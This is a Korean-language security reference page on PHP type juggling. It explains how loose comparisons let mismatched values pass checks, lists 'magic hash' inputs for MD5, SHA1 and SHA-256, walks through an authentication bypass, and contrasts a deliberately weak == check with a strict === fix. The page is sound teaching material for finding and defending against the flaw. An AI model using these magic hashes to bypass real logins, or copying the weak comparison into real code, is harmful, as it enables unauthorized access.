Type Juggling (Loose Comparison Bug)

🔍 Introduction

Type Juggling은 복수의 변수를 비교할 때 사용되는 Loose/Strict Comparison에 따라 개발자가 의도하지 않은 값으로 if 문 등을 통과할 수 있는 취약점을 의미합니다. 일반적으로 PHP가 영향을 받는 것으로 알려져 있습니다. 보통 PHP type juggling 또는 Magic hashes attack으로 많이 알려져 있습니다.

Comparison	Equal	Not Equal	Description
Loose	`==`	`!=`	the same value
Strict	`===`	`!==`	the same type and the same value

🗡 Offensive techniques

Detect

PHP 코드상에서 == 또는 != 로 분기되거나 비교하는 구문은 모두 영향을 받습니다. 이는 단순히 값만 비교하기 때문에 서로 다른 타입의 값에서 true를 반환시킬 수 있습니다.

True statements

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'123'  == 123 #true
'123a' == 123 #true
'abc'  == 0   #true

var_dump('0010e2'   == '1e3');           # true
var_dump('0xABCdef' == ' 0xABCdef');     # true PHP 5.0 / false PHP 7.0
var_dump('0xABCdef' == '     0xABCdef'); # true PHP 5.0 / false PHP 7.0
var_dump('0x01'     == 1)                # true PHP 5.0 / false PHP 7.0
var_dump('0x1234Ab' == '1193131');

'' == 0 == false == NULL
'' == 0       # true
0  == false   # true
false == NULL # true
NULL == ''    # true

Null statements

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var_dump(sha1([])); # NULL
var_dump(md5([]));  # NULL

Exploitation

Bypass auth

0e로 시작하는 값의 경우 아래 Magic Hashes와 같이 ture를 반환할 수 있는 다른 값들이 있습니다. 이를 이용하여 실제 데이터 값을 몰라도 이를 이용하여 우회할 수 있습니다.

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hash_hmac(admin|1424869663) -> "e716865d1953e310498068ee39922f49"
hash_hmac(admin|1424869664) -> "8c9a492d316efb5e358ceefe3829bde4"
...
hash_hmac(admin|1835970773) -> "0e174892301580325162390102935332" 
// "0e174892301580325162390102935332" == "0" 
// => True

Magic Hashes

Hash	Magic Number / String	Magic Hash
MD5	240610708	0e462097431906509019562988736854
MD5	QNKCDZO	0e830400451993494058024219903391
MD5	0e1137126905	0e291659922323405260514745084877
MD5	0e215962017	0e291242476940776845150308577824
MD5	129581926211651571912466741651878684928	06da5430449f8f6f23dfc1276f722738
SHA1	10932435112	0e07766915004133176347055865026311692244
SHA-224	10885164793773	0e281250946775200129471613219196999537878926740638594636
SHA-256	34250003024812	0e46289032038065916139621039085883773413820991920706299695051332
SHA-256	TyNOQHUS	0e66298694359207596086558843543959518835691168370379069085300385

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var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
var_dump(md5('aabg7XSs')  == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));

🛡 Defensive techniques

PHP에서 구문 비교 시 Loose Comparison이 아닌 Strict Comparison을 사용하여 문제를 예방할 수 있습니다.

Weak

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if (secret == hash_hmac(admin|1835970773)) {
  // admin page
} else {
  // 403
}

Secure

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if (secret === hash_hmac(admin|1835970773)) {
  // admin page
} else {
  // 403
}